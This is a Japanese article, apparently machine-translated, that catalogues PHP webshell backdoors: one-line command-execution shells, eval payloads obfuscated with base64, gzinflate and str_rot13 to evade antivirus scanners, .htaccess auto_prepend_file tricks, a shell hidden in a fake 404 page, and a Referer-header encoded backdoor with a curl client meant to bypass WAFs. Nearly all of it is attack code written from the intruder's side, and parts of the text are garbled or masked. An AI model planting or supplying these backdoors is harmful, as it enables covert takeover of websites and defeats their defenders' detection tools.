PHPバックドア***詳細

8744 ワード

phpバックドア***といえば楽しい季节ですが、つい先日、ある駅に人に注入されてしまいましたので、小***に书いてしまいましたので、结果はわかりませんが、以下は言わないで、いろいろなphpバックドア***の作り方を集めてみましたので参考にしてください.
phpバックドア***は皆さんにとって少しも知られていないのではないでしょうか.しかし、その種類はどのくらい知っていますか.本文では、phpバックドア***でよく使われる関数を簡単に説明します.
phpバックドア***でよく使われる関数は大きく4つのタイプに分けられます
1.システムコマンドの実行:system,passthru,shell_exec, exec, popen, proc_open2. コード実行と暗号化:eval,assert,call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot133. ファイルの内容と生成:require,require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1.システムコマンドを実行する:
システム関数
//test.php?cmd=lssystem($_GET[cmd]);
passthru関数
//test.php?cmd=lspassthru($_GET[cmd]);
shell_exec関数
//test.php?cmd=lsecho shell_exec($_GET[cmd]);
exec関数
//test.php?cmd=ls$arr = array();exec($_GET[cmd],$arr);print_r($arr);
popen関数
//test.php?cmd=ls$handle = popen('$_GET[cmd], 'r');$read = fread($handle, 2096);echo $read;pclose($handle);
proc_Open関数
//test.php?cmd=ls$descriptorspec = array(0 => array('pipe', 'r'),1 => array('pipe', 'w'),2 => array('pipe', 'w'),);$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);fclose($pipes[0]);$output = array();while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));print_r($output);
2.コードの実行と暗号化:
eval関数
//よくある一言***eval_r($_POST[cmd]);
base64_decode関数
//殺したり隠したりしないようにコードを暗号化//暗号文:eval_r($_POST['cmd']);eval_r(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate関数
//殺したり隠したりしないようにコードを暗号化//暗号文:eval_r($_POST['cmd']);eval_r(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress関数
//殺したり隠したりしないようにコードを暗号化//暗号文:eval_r($_POST['cmd']);eval_r(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode関数
//殺したり隠したりしないようにコードを暗号化//暗号文:eval_r($_POST['cmd']);eval_r(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot 13関数
//殺したり隠したりしないようにコードを暗号化//暗号文:eval_r($_POST[cmd]);eval_r(str_rot13('riny($_CBFG[pzq]);'));
assert関数
//eval関数assert($_POST[cmd]);
call_user_func関数
//call_を使うuser_func呼び出しassertcall_user_func('assert',$_POST[cmd]);
call_user_func関数
//call_を使うuser_funcは任意の関数//testを呼び出す.php?a=assert&cmd=phpinfo()call_user_func($_GET[a],$_REQUEST[cmd]);
コンポジットコード
//任意の関数//testを組み合わせて呼び出す.php?a=assert&cmd=phpinfo()$_GET[a]($_REQUEST[cmd]);
3.ファイルの内容と生成:
require関数
//任意のファイルを含む//test.php?file=123.jpgrequire($_GET[file]);
require_once関数
//任意のファイルを含む//test.php?file=123.jpgrequire_once($_GET[file]);
include関数
//任意のファイルを含む//test.php?file=123.jpginclude($_GET[file]);
include_once関数
//任意のファイルを含む//test.php?file=123.jpginclude_once($_GET[file]);
file_get_contents関数
//任意のファイルを読み込む//test.php?f=config.inc.phpecho file_get_contents($_GET['f']);
file_put_contents関数
//任意のコンテンツファイルを生成//a=test.php&b=file_put_contents($_GET[a],$_GET[b]);
fputs関数
//任意のコンテンツファイルを生成//a=test.php&b=fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//phpコードを非php接尾辞ファイルに保存することができる、例:x.jpg//以下のコードを書き込む.htaccess中//x.jpgに接続するとバックドア***が起動します
SetHandler application/x-httpd-php
auto_prepend_file
//phpコードを非php接尾辞ファイルに保存できます.例:123.gif//以下のコードを書き込む.htaccessでは、ファイルパスは絶対パスでなければなりません//ウェブサイト上のphpファイルにアクセスすると、このphpバックドア**//が起動します.サイトのソースコードを変更せずにすべての$_を記録できます.REQUESTの値は大量に馬php_を掛けることもできますvalue auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//auto_に似ているprepend_file//phpコードを非php接尾辞ファイルに保存できます.例:123.gif//以下のコードを書き込む.htaccessでは、ファイルパスは絶対パスでなければなりません//ウェブサイト上のphpファイルにアクセスすると、phpバックドア**php_が起動します.value auto_append_file c:/apache2/htdocs/123.gif
404ページでPHPポニーを隠す
404 Not FoundNot FoundThe requested URL was not found on this server.@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>404ページはウェブサイトでよく使われるファイルです.一般的には、それをチェックして修正する人は少ないことをお勧めします.この場合、私たちはこの点を利用して裏口を隠すことができます.
PHPの一言を隠すのは特徴がありません
session_start();$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);$_SESSION['theCode']&&preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');$POST['code']のコンテンツは$_に割り当てられます.SESSION['theCode']を実行して$SESSION['theCode']のハイライトは、フィーチャーコードがないことです.スキャンツールでコードをチェックするとアラームが鳴らないので目的達成です.
超隠蔽PHPバックドア
GET関数だけで構成されています***
利用方法
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};実行後、現在のディレクトリ生成c.php一言***パラメータaがevalの場合、エラー***生成に失敗しassertの場合も同様にエラーが発生しますが、***が生成されるというのは、このような応用にまで広がっていると言えます.
階層要求符号化PHPバックドアを実行この方法は2つのファイルでファイル1を実現する
//1.phpheader('Content-type:text/html;charset=utf-8');parse_str($_SERVER['HTTP_REFERER'], $a);if(reset($a) == '10' && count($a) == 9) {   eval(base64_decode(str_replace("", "+", implode(array_slice($a, 6)))));}ファイル2
//2.phpheader('Content-type:text/html;charset=utf-8');//実行するコード$code=<phpinfo();
CODE;
// base64
$code = base64_encode($code);
// referer
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
// url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch); 
HTTP HTTP_REFERER base64 waf referer 。 bypass waf 。
PHPバックドア生成ツールweevelyweevelyは、PHP用のウェブシェルをシミュレートするフリーソフトウェアです.telnetのような接続をシミュレートするために使用できます.shellweevelyは、通常、ウェブプログラムの脆弱性に使用されます.バックドアを隠すか、ウェブページ式の管理の代わりにtelnetのような方法を使用します.weevelyが生成したサーバ側のphpコードはbase 64符号化されているので、主流のウイルス対策ソフトを騙すことができます.デバイスとIDSは、サーバ側コードをアップロードした後、通常weevelyを介して直接実行できます.
Weevelyが生成するPHPバックドアで使用される方法は、現在比較的主流のbase 64暗号化結合文字列変形技術バックドアで使用される関数は、検査ルールとしてよく用いられるevalsystemなどの関数がコードに直接現れないため、バックドアファイルがバックドア検索ツールの検査を迂回することができる.暗いグループのWebバックドアチェックツールを使用してスキャンした結果、ファイルに脅威はありません.
以上、简単な科学普及について绍介します.
 
三つの変形の一言PHP***一つ目
包丁に書くhttp://site/1.php?2=assertパスワードは1
2番目
$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>包丁に書くhttp://site/2.php?_=assert&__=eval($_POST['pass'])パスワードはpassです.包丁の付加データを使うともっと隠すか、他の注射ツールを使うとpostが提出したからといってもいいです.
3番目
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot 13('riny')つまりコード後のevalはキーワードを完全に避けて効果を失わずに血を吐く
.htaccessがPHPバックドアを作るのは実は2007年に作者のGaRYが爆発しましたただ後ろに誰も注目していませんこの利用のポイントは一言です
AddType application/x-httpd-php .htaccess######SHELL######ここにあなたのバックドアを書きましょう##############LLEHS######最後にいくつかの高級なPHPの一言***バックドアを並べます
1、$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");//包丁一言2、$filename=$GET['xbid'];include ($filename);//危険なinclude関数は、php形式で3、$reg="c"を実行する任意のファイルを直接コンパイルする."o"."p"."y";$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//ファイル4、$gzid="p"の名前を変更します."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$gzid("/[discuz]/e",$_POST['h'],"Access");//包丁一言5、include($uid);//危険なinclude関数は、php形式でPOST www.xxxを実行するファイルを直接コンパイルします.com/index.php?uid=/home/www/bbs/p_w_picpath.gif//gif挿入一言6、典型的な一言プログラムバックドアコード//フォールトトレランスコードプログラムコード//lanker一言クライアントの専門家モードを使用して関連php文プログラムコード$_を実行するPOST['sa']($_POST['sb']);?>プログラムコード$POST['sa']($_POST['sb'],$_POST['sc'])?>プログラムコード@preg_replace("/[email]/e",$_POST['h'],"error");?>//これを使用した後、包丁を使用してクライアントが接続を構成するときに「構成」欄にプログラムコードh=@eval_を入力します.r($_POST[c]);プログラムコード@eval_r($_POST[sb])/これらのPHPの一言を迂回すると、裏口は五臓がそろっていると言えます.うっかりして、あなたはきっと中に入ったに違いありません.私たちの今日の文章の重さはどこにありますか.重点は下のまとめです.